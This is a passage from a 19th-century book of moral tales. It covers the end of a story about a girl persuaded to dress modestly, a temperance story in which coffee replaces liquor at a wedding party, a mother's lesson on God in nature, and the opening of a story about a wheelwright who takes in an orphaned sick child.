moving with the current of our feelings, are not pleasant to hear."
"Say on, aunt Helen. I can listen to anything from you. You think me
overdressed. I see it in your eyes."
"You have read my thought correctly, dear."
"In what particular am I overdressed? Nothing could be simpler than
a white illusion."
"Without an abundance of pink trimming, it would be simple and
becoming enough. Your dressmaker has overloaded it with ribbon; at
least, so it appears to me. But, passing that let me suggest a
thought touching those two heavy bracelets. One, on the exposed arm,
is sufficiently attractive. Two will create the impression that you
are weakly fond of ornament; and in the eyes of every one who feels
this, the effect of your dress will be marred. Men and women see
down into our states of feeling with wonderful quick intuitions, and
read us while we are yet ignorant in regard to ourselves."
Alice unclasped, with a faint sigh, one of the bracelets, and laid
it on her aunt's bureau.
"Is that better?" she asked.
"I think so."
"But the arm is so naked, aunt. It wants something, just for
relief."
"To me the effect would be improved if arms and neck were covered.
But, as it is, if you think something required to draw attention
from the bare skin, let one ornament be the most simple in your
jewel box. You have a bracelet of hair, with neat mountings. Take
that."
Alice stood for a while pondering her aunt's suggestion. Then, with
half-forced cheerfulness of tone, she answered,--
"May be you're right, I'll take the hair bracelets instead. And now,
what else?"
"The critic's task is never for me a pleasant one, Alice. Least
pleasant when it touches one I love. If you had not asked what I
thought of your appearance, I would have intruded no exceptions. I
have been much in society since I was very young, and have always
been an observer. Two classes of women, I notice, usually make up
the staple of our social assemblages: those who consult taste in
dress, and those who study effect; those who think and appreciate,
and those who court admiration. By sensible people,--and we need not
pay much regard to the opinion of others,--these two classes are well
understood, and estimated at their real value."
"It is quite plain, aunt Helen," said Alice, her color much
heightened, "that you have set me over to the side of those who
study effect and court admiration."
"I think you are in danger of going over to that side, my dear," was
gently answered, "and I love you too well not to desire something
better for my niece. Turn your thought inward and get down, if
possible, to your actual state of mind. Why have you chosen this
very effective style of dress? It is not in good taste--even you, I
think, will agree with me so far."
"Not in good taste, aunt Helen!"
"A prima donna, or a ballet--"
"How, aunt!" Alice made a quick interruption.
"You see, my child, how I am affected. Let me say it out in plain
words--your appearance, when, you came in a few minutes ago actually
shocked me."
"Indeed, indeed, aunt Helen, you are too severe in your tastes! We
are not Friends."
"You are not going in the character of a May queen, Alice, that you
should almost hide your beautiful hair in ribbons and flowers. A
stiff bouquet in a silver holder is simply an impediment, and does
not give a particle of true womanly grace. That necklace of pearls,
if half hidden among soft laces, would be charming; but banding the
uncovered neck and half-exposed chest, it looks bald, inharmonious,
and out of place. White, with a superfluity of pink trimming,
jewelry and flowers, I call on the outside of good taste; and if you
go as you are, you will certainly attract all eyes, but I am sure
you will not win admiration for these things from a single heart
whose regard is worth having. Don't be hurt with me, Alice. I am
speaking with all love and sincerity, and from a wider experience
and observation than it is possible for you to have reached. Don't
go as you are, if you can possibly make important changes. What time
is left?"
Alice stood silent, with a clouded face. Her aunt looked at her
watch.
"There is a full half hour. You may do much in that time. But you
had best refer to your mother. Her taste and mine may not entirely
accord."
"O, as to that, mother is on your side. But she is always so plain
in her notions," said Alice, with a slight betrayal of impatience.
"A young lady will always be safest in society, Alice--always more
certain to make a good impression, if she subordinate her love of
dress and ornament as much as possible to her mother's taste. In
breaking away from this, my dear, you have gone over to an extreme
that, if persisted in, will class you with vain lovers of
admiration; with mere show girls, who, conscious of no superior
moral and mental attractions, seek to win by outward charms. Be not
of them, dear Alice, but of the higher class, whose minds are
clothed in beautiful garments whose loveliest and most precious
things are, like jewels, shut within a casket."
Alice withdrew, silent, almost hurt, though not offended, and more
than half resolved to give up the party. But certainly recollections
checked this forming resolve before it reached a state of full
decision.
"How will this do?" She pushed open the door of her aunt's room half
an hour afterwards with this sentence on her lips. Her cheeks were
glowing, and her eyes full of sparkles. So complete was the change,
that for a brief space the aunt gazed at her wonderingly. She wore a
handsome fawn- silk, made high in the neck, around which was
a narrow lace collar of exceeding fineness, pinned with a single
diamond. A linked band of gold, partly hidden by the lace
undersleeve, clasped one of her wrists. A small spray of pearls and
silver formed the only ornament for her hair, and nestled,
beautifully contrasted among its dark and glossy braids.
"Charming!" replied aunt Helen, in no feigned admiration. "In my
eyes you are a hundred times more attractive than you were, a little
while ago, and will prove more attractive to all whose favor is
worth the winning." And she arose and kissed her nice lovingly.
"I am not overdressed." Alice smiled.
"Better underdressed than overdressed, always, my dear, If there is
any fault, it is on the right side."
"I am glad you are pleased, aunt Helen."
"Are you not better pleased with yourself?" was asked.
"I can't just say that, aunt. I've worn this dress in company
several times, and it's very plain."
"It is very becoming, dear; and we always appear to best advantage
in that which most accords with our style of person and complexion.
To my eyes, in this more simple yet really elegant apparel, you look
charming. Before, you impressed me with a sense of vulgarity; now,
the impression, is one of refinement."
"Thank you for such flattering words, aunt Helen. I will accept the
pictures in your eyes as justly contrasted. Of one thing I am sure,
I shall feel more at ease, and less conscious of observation, than
would have been the case had I gone in my gayer attire. Good
evening. It is growing late, and I must be away."
The maiden stooped, and kissed her aunt affectionately.
"Good evening, dear, and may the hours be pleasant ones."
When Alice entered the drawing-room, where the company were
assembling her eyes were almost dazzled with the glitter of jewelry
and the splendor of colors. Most of the ladies present seemed
ambitious of display, emulous of ornament. She felt out of place, in
her grave and simple costume, and moved to a part of the room where
she would be away from observation. But her eyes were soon wandering
about, scanning forms and faces, not from simple curiosity, but with
an interest that was visible in her countenance. She looked for the
presence of one who had been, of late, much in her thoughts: of one
for whose eyes, more than for the eyes of any other, she apparelled
herself with that studied effect which received so little approval
from her aunt Helen. Alice felt sober. If she entertained doubts
touching her change of dress they were gone now. Plainly, to her
convictions, aunt Helen was wrong and she had been wrong in yielding
her own best judgement of the case.
Alice had been seated only for a little while, when she saw the
young man to whom we have just referred. He was standing at the
extreme end of the room, talking in a lively manner with a
gayly-dressed girl, who seemed particularly pleased with his
attentions. Beside her Alice would have seemed almost Quaker-like in
plainness. And Alice felt this with something like a pang. Soon they
passed across the room, approaching very near, and stood within a
few feet of her for several minutes. Then they moved away, and sit
down together not far off, still chatting in the lively manner at
first observed. Once or twice the young man appeared to look
directly at Alice, but no sign of recognition was visible on his
face.
After the first emotions of disappointment in not being recognized
had subsided, the thoughts of Alice began to lift her out of the
state in much she had been resting.
"If fine feathers make the fine bird," she said to herself, "let him
have the gay plumage. As for me, I ask a higher estimate. So I will
be content."
With the help of pride she rose above the weakness that was
depressing her. A lady friend joined her at the moment, and she was
soon interested in conversation.
"Excuse me for a personal reference, Alice," said this friend in a
familiar way, "and particularly for speaking of dress. But the fact
is, you shame at least one half of us girls by your perfect
subordination of everything to good taste. I never saw you so
faultlessly attired in my life."
"The merit, if there is any," replied Alice, "is not mine. I was
coming like a butterfly, but my aunt Helen, who is making us a
visit, objected so strongly that I took off my party dress and
head-dress, made for the occasion, and, in a fit of half-don't-care
desperation, got myself up after this modest fashion that you are
pleased to call in such good taste."
"Make your aunt Helen my compliments, and say to her that I wish she
were multiplied a thousands times. You will be the belle to-night,
if there are many sensible man present. Ah, there comes Mr. Benton!"
At this name the heart of Alice leaped. "He has spied you out
already. You are the attraction, of course, not me."
Mr. Benton, who had been, of late, so much in her thought, now stood
bowing before the two young ladies, thus arresting their
conversation. The last speaker was right. Alice had drawn him across
the room, as was quickly apparent, for to her alone he was soon
addressing himself. To quite the extent allowable in good breeding,
was Alice monopolized by Mr. Benton during the evening and when he
left her, with scarcely-concealed reluctance, another would take his
place, and enjoy the charm of her fine intelligence.
"Have you been introduced to Alice T----?" she heard one gentleman ask
of another, as she stood near a window opening into the
conservatory, and partly hidden by curtains.
"Yes," was the answer.
"She is a pleasant girl."
"By odds the most charming I have met to-night. And then she has had
the good taste to dress in a modest, womanly manner. How beautifully
she contrasts with a dozen I could name, all radiant with colors as
a bed of tulips."
She heard no more. But this was enough.
"You had a pleasant evening judging from your face," said aunt
Helen, when she meet her niece on the next morning.
"Yes; it was a very pleasant one--very pleasant." Her color deepened
and her eyes grew brighter.
"You were not neglected on account of you attractive style of
dress?"
"Judging from the attentions I received, it must have been very
attractive. A novelty, perhaps. You understand human nature better
than I do, aunt Helen."
"Was it the plainest in the room?"
"It was plainer than that of half a dozen ladies old enough to have
grandchildren."
The aunt smiled.
"Then it has not hurt your prospects?"
The question was in jest; but aunt Helen saw instantly into the
heart of her niece. For a moment their eyes lingered in each other;
then Alice looked down upon the floor.
"No it has not hurt my prospects." The answer was in a softer voice,
and then followed a long-drawn inspiration, succeeded by the
faintest of sighs.
A visit from Mr. Benton, on the next evening, removed all doubt from
the dress question, if any remained.
XIII.
COFFEE vs. BRANDY.
"WE shall have to give them a wedding party," said Mrs. Eldridge to
her husband.
Mr. Eldridge assented.
"They will be home to-morrow, and I think of sending out of
invitations for Thursday."
"As you like about that," replied Mr. Eldridge. "The trouble will be
yours."
"You have no objections?"
"O, none in the world. Fanny is a good little girl, and the least we
can do is to pay her this compliment on her marriage. I am not
altogether satisfied about her husband, however; he was rather a
wild sort of a boy a year or two ago."
"I guess he's all right now," remarked Mrs. Eldridge; "and he
strikes me as a very kind-hearted, well-meaning young man. I have
flattered myself that Fanny has done quite well as the average run
of girls."
"Perhaps so," said Mr. Eldridge, a little thoughtfully.
"Will you be in the neighborhood of Snyder's?" inquired the lady.
"I think not. We are very busy just now, and I shall hardly have
time to leave the store to-day. But I can step around there
to-morrow."
"To-morrow, or even the next day, will answer," replied Mrs.
Eldridge. "You must order the liquors. I will attend to everything
else."
"How many are you going to invite?" inquired Mr. Eldridge.
"I have not made out a list yet, but it will not fall much short of
seventy or eighty."
"Seventy or eighty!" repeated Mr. Eldridge.
"Let me see. Three dozen of champagne; a dozen of sherry; a dozen of
port; a dozen of hock, and a gallon of brandy,--that will be enough
to put life into them I imagine."
"Or death!" Mrs. Eldridge spoke to herself, in an undertone.
Her husband, if he noticed the remark, did not reply to it, but
said, "Good morning," and left the house. A lad about sixteen years
of age sat in the room during this conversation, with a book in his
hand and his eyes on the page before him. He did not once look up or
move; and an observer would have supposed him so much interested in
his book as not to have heard the passing conversation. But he had
listened to every word. As soon as Mr. Eldridge left the room his
book fell upon his lap, and looking towards Mrs. Eldridge, he said,
in an earnest but respectful manner,--
"Don't have any liquor, mother."
Mrs s Eldridge looked neither offended nor irritated by this
remonstrance, as she replied,--
"I wish it were possible to avoid having liquor, my son; but it is
the custom of society and if we give a party it must be in the way
it is done by other people."
This did not satisfy the boy, who had been for some time associated
with the Cadets of Temperance, and he answered, but with modesty and
great respect of, manner,--"If other people do wrong, mother--what
then?"
"I am not so sure of its being wrong, Henry."
"O, but mother," spoke out the boy, quickly, "if it hurts people to
drink, it must be wrong to give them liquor. Now I've been thinking
how much better it would be to have a nice cup of coffee. I am sure
that four out of five would like it a great deal better than wine or
brandy. And nobody could possibly receive any harm. Didn't you hear
what father said about Mr. Lewis? That he had been rather wild? I am
sure I shall never forget seeing him stagger in the street once. I
suppose he has reformed. But just think, if the taste should be
revived again and at our house, and he should become intoxicated at
this wedding party! O, mother! It makes me feel dreadfully to think
about it. And dear Cousin Fanny! What sorrow it would bring to her!"
"O, dear, Henry! Don't talk in that kind of a way! You make me
shudder all over. You're getting too much carried away by this
subject of temperance."
And Mrs. Eldridge left the room to look after her domestic duties.
But she could not push from her mind certain uneasy thoughts which
her son's suggestions had awakened. During the morning an intimate
lady friend came in to whom Mrs. Eldridge spoke of the intended
party.
"And would you believe it," she said, "that old-fashioned boy of
mine actually proposed that we should have coffee instead of wine
and brandy."
"And you're going to adopt the suggestion," replied the lady, her
face lighten up with a pleasant smile.
"It would suit my own views exactly; but then such an innovation
upon a common usage as that; is not to be thought of for a moment."
"And why not?" asked the lady. "Coffee is safe, while wine and
brandy are always dangerous in promiscuous companies. You can never
tell in what morbid appetite you may excite an unhealthy craving.
You may receive into your house a young man with intellect clear,
and moral purposes well-balanced, and send him home at midnight, to
his mother, stupid from intoxication! Take your son's advice, my
friend. Exclude the wine and brandy, and give a pleasant cup of
coffee to your guests instead."
"O, dear, no, I can't do that!" said Mrs. Eldridge. "It would look
as if we were too mean to furnish wines and brandy. Besides, my
husband would never consent to it."
"Let me give you a little experience of my own. It may help you to a
right decision in this case."
The lady spoke with some earnestness, and a sober cast of thought in
her countenance. "It is now about three years since I gave a large
party, at which a number of young men were present,--boys I should
rather say. Among these was the son of an old and very dear friend.
He was in his nineteenth year,--a handsome, intelligent, and most
agreeable person--full of life and pleasant humor. At supper time I
noticed him with a glass of champagne in his hand, gayly talking
with some ladies. In a little while after, my eyes happening to rest
on him, I saw him holding, a glass of port wine to his lips, which
was emptied at a single draught. Again passing near him, in order to
speak to a lady, I observed a tumbler in his hand, and knew the
contents to be brandy and water. This caused me to feel some
concern, and I kept him, in closer observation. In a little while he
was at the table again, pouring out another glass of wine. I thought
it might be for a lady upon whom he was in attendance; but no, the
sparkling liquor touched his own lips. When the company returned to
the parlors, the flushed face, swimming eyes, and over-hilarious
manner of my young friend, showed too plainly that he had been
drinking to excess. He was so much excited as to attract the
attention of every one, and his condition became the subject of
remark. He was mortified and distressed at the occurrence, and
drawing him from the room, made free to tell him the truth. He
showed some indignation at first, and intimated that I had insulted
him but I rebuked him sternly, and told him he had better go home. I
was too much excited to act very wisely. He took me at my word, and
left the house. There was no sleep for my eyes on that night, Mrs.
Eldridge. The image of that boy going home to his mother at
midnight, in such a condition, and made so by my hand haunted me
like a rebuking spectre; and I resolved never again to set out a
table with liquors to a promiscuous company of young and old, and I
have kept that word of promise. My husband is not willing to have a
party unless there is wine with the refreshments, and I would rather
forego all entertainments than put temptation in the way of any one.
Your son's suggestion is admirable. Have the independence to act
upon it, and set an example which many will be glad to follow. Don't
fear criticism or remark; don't stop to ask what this one will say
or that one think. The approval of our own consciences is worth far
more than the opinions of men. Is it right? That is the question to
ask; not How will it appear? or What will people say? There will be
a number of parties given to your niece, without doubt; and if you,
lead off with coffee instead of wine, all the rest of Fanny's
friends may follow the good example."
When Mr. Eldridge came home at dinner-time, his wife said to him,--
"You needn't order any liquors from Snyder."
"Why not?" Mr. Eldridge looked at his wife with some surprise.
"I'm going to have coffee, instead of wine, and brandy," said Mrs.
Eldridge, speaking firmly.
"Nonsense! You're jesting."
"No, I'm in earnest. These liquors are not only expensive, but
dangerous things to offer freely in mixed companies. Many boys get
their first taste for drink at fashionable parties, and many
reformed men have the old fiery thirst revived by a glass of wine
poured out for them in social hospitality. I am afraid to have my
conscience burdened with the responsibility which this involves."
"There is no question as to the injury that is done by this free
pouring out of liquors at our fashionable entertainments. I've long
enough seen that," said Mr. Eldridge; "but she will be a bold lady
who ventures to offer a cup of coffee in place of a glass of wine.
You had better think twice on this subject before you act once."
"I've done little else I but think about it for the last two hours,
and the more I think about it the more settled my purpose becomes."
"But what put this thing into your head?" inquired Mr. Eldridge.
"You were in full sail for party this morning, liquor and all; this
sudden tacking for a new course is a little surprising. I'm
puzzled."
"Your son put it into my head," replied Mrs. Eldridge.
"Henry? Well, that boy does beat all!" Mr. Eldridge did not speak
with disapprobation, but with a tone of pleasure in his voice. "And
so he proposed that we should have coffee instead of wine and
brandy?"
"Yes."
"Bravo for Henry! I like that. But what will people say, my dear? I
don't want to become a laughing stock."
"I'd rather have other people laugh at me for doing right," said
Mrs. Eldridge, "than to have my conscience blame me for doing
wrong."
"Must we give the party?" asked Mr. Eldridge, who did not feel much
inclined to brave public opinion.
"I don't see that we can well avoid doing so. Parties will be given,
and as Fanny is our niece, it will look like a slight towards her if
we hold back. No, she must have a party; and as I am resolved to
exclude liquor, we must come in first. Who knows but all the rest
may follow our example."
"Don't flatter yourself on any such result. We shall stand alone,
you may depend upon it."
The evening of the party came and a large company assembled at the
house of Mr. and Mrs. Eldridge. At eleven o'clock they passed to the
supper-room. On this time the thoughts of the host and hostess had
passed, ever and anon, during the whole evening, and not without
many misgivings as to the effect their entertainment would produce
on the minds of the company. Mr. Eldridge was particularly nervous
on the subject. There were several gentlemen present whom he knew to
be lovers of good wine; gentlemen at whose houses he had often been
entertained, and never without the exhilarating glass. How would
they feel? What would they think? What would they say? These
questions fairly haunted him; and he regretted, over and over again,
that he had yielded to his wife and excluded the liquors.
But there was no holding back now; the die was cast, and they must
stand to the issue. Mr. Eldridge tried to speak pleasantly to the
lady on his arm, as he ascended to the supper-room; but the words
came heavily from his tongue, for his heart was dying in him. Soon
the company were around the table, and eyes, critical in such
matters, taking hurried inventories of what it contained. Setting
aside the wine and brandy, the entertainment was of the most liberal
character, and the whole arrangement extremely elegant. At each end
of the table stood a large coffee-urn, surrounded with cups, the
meaning of which was not long a mystery to the company. After the
terrapin, oysters, salad, and their accompaniments, Mr. Eldridge
said to a lady, in a half-hesitating voice, as if he were almost
ashamed to ask the question,--
"Will you have a cup of coffee?"
"If you please," was the smiling answer. "Nothing would suit me
better."
"Delicious!" Mr. Eldridge heard one of the gentlemen, of whom he
stood most in dread, say. "This is indeed a treat. I wouldn't give
such a cup of coffee for the best glass of wine you could bring me."
"I am glad you are pleased," Mr. Eldridge could not help remarking,
as he turned to the gentleman.
"You couldn't have pleased me better," was replied.
Soon the cups were circling through the room, and every one seemed
to enjoy the rich beverage. It was not the ghost of coffee, nor
coffee robbed of its delicate aroma; but clear, strong, fragrant,
and mellowed by the most delicious cream. Having elected to serve
coffee, Mrs. Eldridge was careful that her entertainment should not
prove a failure through any lack of excellence in this article. And
it was very far from proving a failure. The first surprise being
over, one and another began to express an opinion on the subject to
the host and hostess.
"Let me thank you," said a lady, taking the hand of Mrs. Eldridge,
and speaking very warmly, "for your courage in making this
innovation upon a custom of doubtful prudence. I thank you, as a
mother, who has two sons here to-night."
She said no more, but Mrs. Eldridge understood well her whole
meaning.
"You are a brave man, and I honor you," was the remark of a
gentleman to Mr. Eldridge. "There will be many, I think, to follow
your good example. I should never have had the courage to lead, but
I think I shall be brave enough to follow, when it comes my turn to
entertain my friends."
Henry was standing by his father when this was said listening with
respectful, but deeply gratified attention.
"My son, sir," said Mr. Eldridge.
The gentleman took the boy by the hand, and while he held it, the
father added,--
"I must let the honor go to where it really is due. The suggestion
came from him. He is a Cadet of Temperance, and when the party was
talked of, he pleaded so earnestly for the substitution of coffee
for wine and brandy, and used such good reason for the change, that
we saw only one right course before us, and that we have adopted."
The gentleman, on hearing this, shook the lad's hand warmly, and
said,--
"Your father has reason to be proud of you, my brave boy! There is
no telling what good may grew out of this thing. Others will follow
your father's example, and hundreds of young men be saved from the
enticements of the wine cup."
With what strong throbs of pleasure did the boy's heart beat when
these words came to his ears! He had scarcely hoped for success when
he pleaded briefly, but earnestly, with his mother. Yet he felt that
he must speak, for to his mind, what she proposed doing was a great
evil. Since it had been resolved to banish liquor from the
entertainment, he had heard his father and mother speak several
times doubtfully as to the result; and more than once his father
expressed result that any such "foolish" attempt to run in the face
of people's prejudices had been thought of. Naturally, he had felt
anxious about the result; but now that the affair had gone off so
triumphantly, his heart was outgushing with pleasure.
The result was as had been predicted. Four parties were given to the
bride, and in each case the good example of Mrs. Eldridge was
followed. Coffee took the place of wine and brandy, and it was the
remark of nearly all, that there had been no pleasant parties during
the season.
So much for what a boy may do, by only a few right words spoken at
the right time, and in the right manner. Henry Eldridge was
thoughtful, modest, and earnest-minded. His attachment to the cause
of temperance was not a mere boyish enthusiasm, but the result of a
conviction that intemperance was a vice destructive, to both soul
and body, and one that lay like a curse and a plague-spot on
society, He could understand how, if the boys rejected, entirely,
the cup of confusion, the next, generation of men would be sober;
and this had led him to join the Cadets, and do all in his power to
get other lads to join also. In drawing other lads into the order,
he had been very successful; and now, in a few respectfully uttered,
but earnest words, he had checked the progress of intemperance in a
circle far beyond the ordinary reach of his influence.
Henry Eldridge was a happy boy that night.
XIV.
AMY'S QUESTION.
"AMY!"
Mrs. Grove called from the door that opened towards the garden. But
no answer came. The sun had set half an hour before, and his
parting, rays, were faintly tinging with gold and purple few clouds
that lay just alone the edge of the western sky. In the east, the
full moon was rising in all her beauty, making pale the stars that
were sparking in the firmament.
"Where is Amy?" she asked. "Has any one seen her come in?"
"I saw her go up stairs with her knitting in her hand half an hour
ago," said Amy's brother, who was busily at work with his knife on a
block of pine wood, trying to make a boat.
Mrs. Grove went to the foot of the stairs, and called again. But
there was no reply.
"I wonder where the child can be," she said to herself, a slight
feeling of anxiety crossing her mind. So she went up stairs to looks
for her. The door of Amy's bedroom was shut, but on pushing it open
Mrs. Grove saw her little girl sitting at the open window, so lost
in the beauty of the moonlit sky and her own thoughts that she did
not hear the noise of her mother's entrance.
"Amy," said Mrs. Grove.
The child started, and then said quickly,--
"O, mother! Come and see! Isn't it lovely?"
"What are you looking at, dear?" asked Mrs. Grove, as she sat down
by her side, and drew an arm around her.
"At the moon, and stars, and the lake away off by the hill. See what
a great road of light lies across the water! Isn't it beautiful,
mother? And it makes me feel so quiet and happy. I wonder why it
is?"
"Shall I tell you the reason?"
"O, yes, mother, dear! What is the reason?"
"God made everything that is good and beautiful."
"O, yes, I know that!"
"Good and beautiful for the sake of man; because man is the highest
thing of creation and nearest to God. All things below him were
created for his good; that is, God made them for him to use in
sustaining the life of his body or the life of his soul."
"I don't see what use I can make of the moon and stars," said Amy.
"And yet," answered her mother, "you said only a minute ago that the
beauty of this moon-light evening made you feel so quiet and happy."
"O, yes! That is so; and you were going to tell me why it was."
"First," said the mother, "let me, remind you that the moon and
stars give us light by night, and that, if you happened to be away
at a neighbor's after the sun went down, they would be of great use
in showing you the path home-ward."
"I didn't think of that when I spoke of not seeing what use I could
make, of the moon and stars," Amy replied.
Her mother went on,--
"God made everything that is good and beautiful for the stake of
man, as I have just told you; and each of these good and beautiful
things of creation comes to us with a double blessing,--one for our
bodies and the other for our souls. The moon and stars not only give
light this evening to make dark ways plain, but their calm presence
fills our souls with peace. And they do so, because all things of
nature being the work of God, have in them a likeness of something
in himself not seen by our eyes, but felt in our souls. Do you
understand anything of what I mean, Amy?"
"Just a little, only," answered the child. "Do you mean, mother
dear, that God is inside of the moon and stars, and everything else
that he has made?"
"Not exactly what I mean; but that he has so made them, that each
created thin is as a mirror in which our souls may see something of
his love and his wisdom reflected. In the water we see an image of
his truth, that, if learned, will satisfy our thirsty minds and
cleanse us from impurity. In the sun we see an image of his love,
that gives light, and warmth, and all beauty and health to our
souls."
"And what in the moon?" asked Amy.
"The moon is cold and calm, not warm and brilliant like the sun,
which tells us of God's love. Like truths learned, but not made warm
and bright by love, it shows us the way in times of darkness. But
you are too young to understand much about this. Only keep in your
memory that every good and beautiful thing you see, being made by
God, reflects something of his nature and quality to your soul and
that this is why the lovely, the grand, the beautiful, the pure, and
sweet things of nature fill your heart with peace or delight when
you gaze at them."
For a little while after this they sat looking out of the window,
both feeling very peaceful in the presence of God and his works.
Then voice was heard below, and Amy, starting up, exclaimed,--
"O, there is father!" and taking her mother's hand, went down to
meet him.
XV.
AN ANGEL IN DISGUISE.
IDLENESS, vice, and intemperance had done their miserable work, and
the dead mother lay cold and still amid her wretched children. She
had fallen upon the threshold of her own door in a drunken fit, and
died in the presence of her frightened little ones.
Death touches the spring of our common humanity. This woman had been
despised, scoffed at, and angrily denounced by nearly every man,
woman, and child in the village; but now, as the fact of, her death
was passed from lip to lip, in subdued tones, pity took the place of
anger, and sorrow of denunciation. Neighbors went hastily to the old
tumble-down hut, in which she had secured little more than a place
of shelter from summer heats and winter cold: some with
grave-clothes for a decent interment of the body; and some with food
for the half-starving children, three in number. Of these, John, the
oldest, a boy of twelve, was a stout lad, able to earn his living
with any farmer. Kate, between ten and eleven, was bright, active
girl, out of whom something clever might be made, if in good hands;
but poor little Maggie, the youngest, was hopelessly diseased. Two
years before a fall from a window had injured her spine, and she had
not been able to leave her bed since, except when lifted in the arms
of her mother.
"What is to be done with the children?" That was the chief question
now. The dead mother would go underground, and be forever beyond all
care or concern of the villagers. But the children must not be left
to starve. After considering the matter, and talking it over with
his wife, farmer Jones said that he would take John, and do well by
him, now that his mother was out of the way; and Mrs. Ellis, who had
been looking out for a bound girl, concluded that it would be
charitable in her to make choice of Katy, even though she was too
young to be of much use for several years.
"I could do much better, I know," said Mrs. Ellis; "but as no one
seems inclined to take her, I must act from a sense of duty expect
to have trouble with the child; for she's an undisciplined
thing--used to having her own way."
But no one said "I'll take Maggie." Pitying glances were cast on her
wan and wasted form and thoughts were troubled on her account.
Mothers brought cast-off garments and, removing her soiled and
ragged clothes, dressed her in clean attire. The sad eyes and
patient face of the little one touched many hearts, and even knocked
at them for entrance. But none opened to take her in. Who wanted a
bed-ridden child?
"Take her to the poorhouse," said a rough man, of whom the question
"What's to be done with Maggie?" was asked. "Nobody's going to be
bothered with her."
"The poorhouse is a sad place for a sick and helpless child,"
answered one.
"For your child or mine," said the other, lightly speaking; "but for
tis brat it will prove a blessed change, she will be kept clean,
have healthy food, and be doctored, which is more than can be said
of her past condition."
There was reason in that, but still it didn't satisfy. The day
following the day of death was made the day of burial. A few
neighbors were at the miserable hovel, but none followed dead cart
as it bore the unhonored remains to its pauper grave. Farmer Jones,
after the coffin was taken out, placed John in his wagon and drove
away, satisfied that he had done his part. Mrs. Ellis spoke to Kate
with a hurried air, "Bid your sister good by," and drew the tearful
children apart ere scarcely their lips had touched in a sobbing
farewell. Hastily others went out, some glancing at Maggie, and some
resolutely refraining from a look, until all had gone. She was
alone! Just beyond the threshold Joe Thompson, the wheelwright,
paused, and said to the blacksmith's wife, who was hastening off
with the rest,--
"It's a cruel thing to leave her so."
"Then take her to the poorhouse: she'll have to go there," answered
the blacksmith's wife, springing away, and leaving Joe behind.
For a little while the man stood with a puzzled air; then he turned
back, and went into the hovel again. Maggie with painful effort, had
raised herself to an upright position and was sitting on the bed,
straining her eyes upon the door out of which all had just departed,
A vague terror had come into her thin white face.
"O, Mr. Thompson!" she cried out, catching her suspended breath,
"don't leave me here all alone!"
Though rough in exterior, Joe Thompson, the wheelwright, had a
heart, and it was very tender in some places. He liked children, and
was pleased to have them come to his shop, where sleds and wagons
were made or mended for the village lads without a draft on their
hoarded sixpences.
"No, dear," he answered, in a kind voice, going to the bed, and
stooping down over the child, "You sha'n't be left here alone." Then
he wrapped her with the gentleness almost of a woman, in the clean
bedclothes which some neighbor had brought; and, lifting her in his
strong arms, bore her out into the air and across the field that lay
between the hovel and his home.
Now, Joe Thompson's wife, who happened to be childless, was not a
woman of saintly temper, nor much given to self-denial for others'
good, and Joe had well-grounded doubts touching the manner of
greeting he should receive on his arrival. Mrs. Thompson saw him
approaching from the window, and with ruffling feathers met him a
few paces from the door, as he opened the garden gate, and came in.
He bore a precious burden, and he felt it to be so. As his arms held
the sick child to his breast, a sphere of tenderness went out from
her, and penetrated his feelings. A bond had already corded itself
around them both, and love was springing into life.
"What have you there?" sharply questioned Mrs. Thompson.
Joe, felt the child start and shrink against him. He did not reply,
except by a look that was pleading and cautionary, that said, "Wait
a moment for explanations, and be gentle;" and, passing in, carried
Maggie to the small chamber on the first floor, and laid her on a
bed. Then, stepping back, he shut the door, and stood face to face
with his vinegar-tempered wife in the passage-way outside.
"You haven't brought home that sick brat!" Anger and astonishment
were in the tones of Mrs. Joe Thompson; her face was in a flame.
"I think women's hearts are sometimes very hard," said Joe. Usually
Joe Thompson got out of his wife's way, or kept rigidly silent and
non-combative when she fired up on any subject; it was with some
surprise, therefore, that she now encountered a firmly-set
countenance and a resolute pair of eyes.
"Women's hearts are not half so hard as men's!"
Joe saw, by a quick intuition, that his resolute bearing had
impressed his wife and he answered quickly, and with real
indignation, "Be that as it may, every woman at the funeral turned
her eyes steadily from the sick child's face, and when the cart went
off with her dead mother, hurried away, and left her alone in that
old hut, with the sun not an hour in the sky."
"Where were John and Kate?" asked Mrs. Thompson.
"Farmer Jones tossed John into his wagon, and drove off. Katie went
home with Mrs. Ellis; but nobody wanted the poor sick one. 'Send her
to the poorhouse,' was the cry."
"Why didn't you let her go, then. What did you bring her here for?"
"She can't walk to the poorhouse," said Joe; "somebody's arms must
carry her, and mine are strong enough for that task."
"Then why didn't you keep on? Why did you stop here?" demanded the
wife.
"Because I'm not apt to go on fools' errands. The Guardians must
first be seen, and a permit obtained."
There was no gainsaying this.
"When will you see the Guardians?" was asked, with irrepressible
impatience.
"To-morrow."
"Why put it off till to-morrow? Go at once for the permit, and get
the whole thing off of your hands to-night."
"Jane," said the wheelwright, with an impressiveness of tone that
greatly subdued his wife, "I read in the Bible sometimes, and find
much said about little children. How the Savior rebuked the
disciples who would not receive them; how he took them up in his
arms, and blessed them; and how he said that 'whosoever gave them
even a cup of cold water should not go unrewarded.' Now, it is a
small thing for us to keep this poor motherless little one for a
single night; to be kind to her for a single night; to make her life
comfortable for a single night."
The voice of the strong, rough man shook, and he turned his head
away, so that the moisture in his eyes might not be seen. Mrs.
Thompson did not answer, but a soft feeling crept into her heart.
"Look at her kindly, Jane; speak to her kindly," said Joe. "Think of
her dead mother, and the loneliness, the pain, the sorrow that must
be on all her coming life." The softness of his heart gave unwonted
eloquence to his lips.
Mrs. Thompson did not reply, but presently turned towards the little
chamber where her husband had deposited Maggie; and, pushing open
the door, went quietly in. Joe did not follow; he saw that, her
state had changed, and felt that it would be best to leave her alone
with the child. So he went to his shop, which stood near the house,
and worked until dusky evening released him from labor. A light
shining through the little chamber windows was the first object that
attracted Joe's attention on turning towards the house: it was a
good omen. The path led him by this windows and, when opposite, he
could not help pausing to look in. It was now dark enough outside to
screen him from observation. Maggie lay, a little raised on the
pillow with the lamp shining full upon her face. Mrs. Thompson was
sitting by the bed, talking to the child; but her back was towards
the window, so that her countenance was not seen. From Maggie's
face, therefore, Joe must read the character of their intercourse.
He saw that her eyes were intently fixed upon his wife; that now and
then a few words came, as if in answers from her lips; that her
expression was sad and tender; but he saw nothing of bitterness or
pain. A deep-drawn breath was followed by one of relief, as a weight
lifted itself from his heart.
On entering, Joe did not go immediately to the little chamber. His
heavy tread about the kitchen brought his wife somewhat hurriedly
from the room where she had been with Maggie. Joe thought it best
not to refer to the child, nor to manifest any concern in regard to
her.
"How soon will supper be ready?" he asked.
